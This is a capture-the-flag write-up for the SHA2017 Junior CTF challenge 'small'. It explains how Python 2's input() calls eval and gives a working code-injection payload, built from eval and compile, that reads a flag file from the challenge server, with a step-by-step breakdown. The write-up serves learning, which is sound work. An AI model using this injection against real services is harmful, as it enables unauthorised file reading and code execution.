small - SHA2017 Junior CTF
SHA2017 Junior CTF is my first ever timed CTF and this is a writeup for my favourite challenge from the weekend.
This challenge has you exploit an
input() in Python 2. The tricky part is that
the input is multiplied by a string so you need to find a way to get the output
of a file and still return a number to be multiplied.
This program consists of only 4 words, and still they've made a mistake. Read the flag from /home/small/flag
nc small.stillhackinganyway.nl 1337
print "HACK "*input("Number: ")
This challenge was worth 4 points, which was the highest tier in this CTF. I found that it took me a really long time to figure out. I even brought a pen and paper to dinner. Ultimately it required knowledge of python functions most people don't need to know.
While the program we're trying to break is pretty simple, it is best to clearly understand whats happening here.
- The program starts on the right with the
input()function. This creates a prompt for the user that looks like
input()is actually a wrapper for
eval(raw_input()). Oh noes. If you weren't already aware, you should never use eval in code where you can't filter user input first. Now we know there is potential to exploit an
eval()method. After a user enters their number, it is evaluated and then multipled to "HACK".
- How to get around the multiplication? The
input()needs to evaluate to a number. There isn't really any other way to do this.
- Finally, the result is printed.
Having a clear understanding of
input() and how it will interact with the rest
of the statement is the key in this challenge.
Here is the solution I came to:
int(eval(compile('print open("/home/small/flag", "r").readlines()', '<string>', 'exec')) or 0)
While we're breaking this down, feel free to open a Python REPL so that you can follow along. Now, lets break down the solution starting from the outside:
int(<command> or 0)
This guarantees we're getting an integer no matter what our command returns. Try these in your REPL:
int('' or 0) int(None or 0)
This is so that we run the code object from the next step.
compile('print ..', '<string>', 'exec')
Next we fill the mandatory fields to compile the statement that will read our
flag. The first argument is the statement we want to run. The second is a
filename, though in this case we just say
<string> which is the common pattern
for string input. Finally we use mode. There are three options here but its best
to read a (really) good
Now what does this look like if you run it through your REPL?
>>> compile('print "hello"', '<string>', 'exec') <code object <module> at 0x7fb0def20d30, file "<string>", line 1>
And if you tie this together with
eval you can see where we're going with this
>>> eval(compile('print "hello"', '<string>', 'exec')) hello >>> print eval(compile('print "hello"', '<string>', 'exec')) hello None >>> print int(eval(compile('print "hello"', '<string>', 'exec')) or 0) hello 0
print open("/home/small/flag", "r").readlines()
Finally, we add in the command that dumps the flag to the screen. This is likely the most straightforward part.
As part of writing up this exploit, I realised you can safely drop the
method as long as you keep
None or 0. This is useful if there was a length
limit. Or for the sake of efficiency.
Getting this exploit together was a tough one. It took a lot of time to figure
out that there was an
eval and an
exec. It took a lot of time to get out of
the mindset of SQL injections (
5; print 'flag' failed over and over).
As I stated earlier, this was my favourite challenge by far. The amount of pieces that needed to come together, needing to learn weird bits of python, and the amount of time spent turning this over made it really fun. It was a great feeling to be able to complete this and I am looking forward to my next CTF.